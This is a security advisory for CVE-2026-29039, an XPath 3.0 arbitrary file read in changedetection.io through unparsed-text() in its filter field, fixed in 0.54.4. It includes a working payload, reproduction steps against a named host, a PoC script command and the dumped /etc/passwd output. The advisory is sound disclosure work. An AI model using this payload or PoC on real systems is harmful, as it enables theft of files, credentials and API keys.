CVE-2026-29039

• The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.

• XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.

Data Flow

User Input (include_filters field)
    ↓
forms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety
    ↓
Watch configuration stored in datastore
    ↓
Scheduled fetch triggers html_tools.py processing
    ↓
html_tools.py:xpath_filter() at line 213
    ↓
elementpath.select(root, xpath_expression, parser=XPath3Parser)
    ↓
XPath 3.0 unparsed-text('file:///etc/passwd') executed
    ↓
File contents returned as "filtered content"
    ↓
Stored as snapshot, viewable in UI

Affected Code
File: changedetectionio/html_tools.py
Function: xpath_filter()
Lines: 187-220

def xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):
    # ...
    from elementpath import XPath3Parser  # XPath 3.0 with dangerous functions
    # ...
    r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser)  # Line 213

Validation (forms.py):

class ValidateCSSJSONXPATHInput:
    def __call__(self, form, field):
        # Only checks if XPath is syntactically valid
        # Does NOT check for dangerous functions like unparsed-text()

Details

• Navigate to the http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000/ instance
• Create a new watch with any valid URL (e.g., https://example.com)
• Edit the watch and set the "CSS/JSONPath/JQ/XPath Filters" field to:

xpath:unparsed-text('file:///etc/passwd')

• Save and trigger a recheck
• View the preview/snapshot - the file contents will be displayed

PoC

python script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py

python3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd

╔═══════════════════════════════════════════════════════════════╗
║  XPath 3.0 Arbitrary File Read Exploit                        ║
║  Target: changedetection.io                                   ║
║  Vulnerability: unparsed-text() in XPath filters              ║
╚═══════════════════════════════════════════════════════════════╝
    
[*] Creating new watch for https://example.com...
[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1
[*] Setting XPath filter to read: /etc/passwd
[+] XPath filter set successfully
[*] Triggering recheck...
[*] Waiting for check to complete...
[*] Retrieving file contents...

[+] SUCCESS! File contents retrieved:
============================================================
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

============================================================
[*] Cleaning up (deleting watch)...

• Read any file accessible to the application process
• Exfiltrate sensitive configuration files, credentials, API keys
• Read application source code
• Access database files if file-based (SQLite)

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

Kodem intelligence

1. What is CVE-2026-29039? CVE-2026-29039 is a high-severity code injection vulnerability in changedetection.io (pip), affecting versions <= 0.54.3. It is fixed in 0.54.4. Untrusted input is evaluated as executable code within the application's runtime environment.
2. Which versions of changedetection.io are affected by CVE-2026-29039? changedetection.io (pip) versions <= 0.54.3 is affected.
3. Is there a fix for CVE-2026-29039? Yes. CVE-2026-29039 is fixed in 0.54.4. Upgrade to this version or later.
4. Is CVE-2026-29039 exploitable, and should I be worried? Whether CVE-2026-29039 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-29039 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-29039? Upgrade changedetection.io to 0.54.4 or later.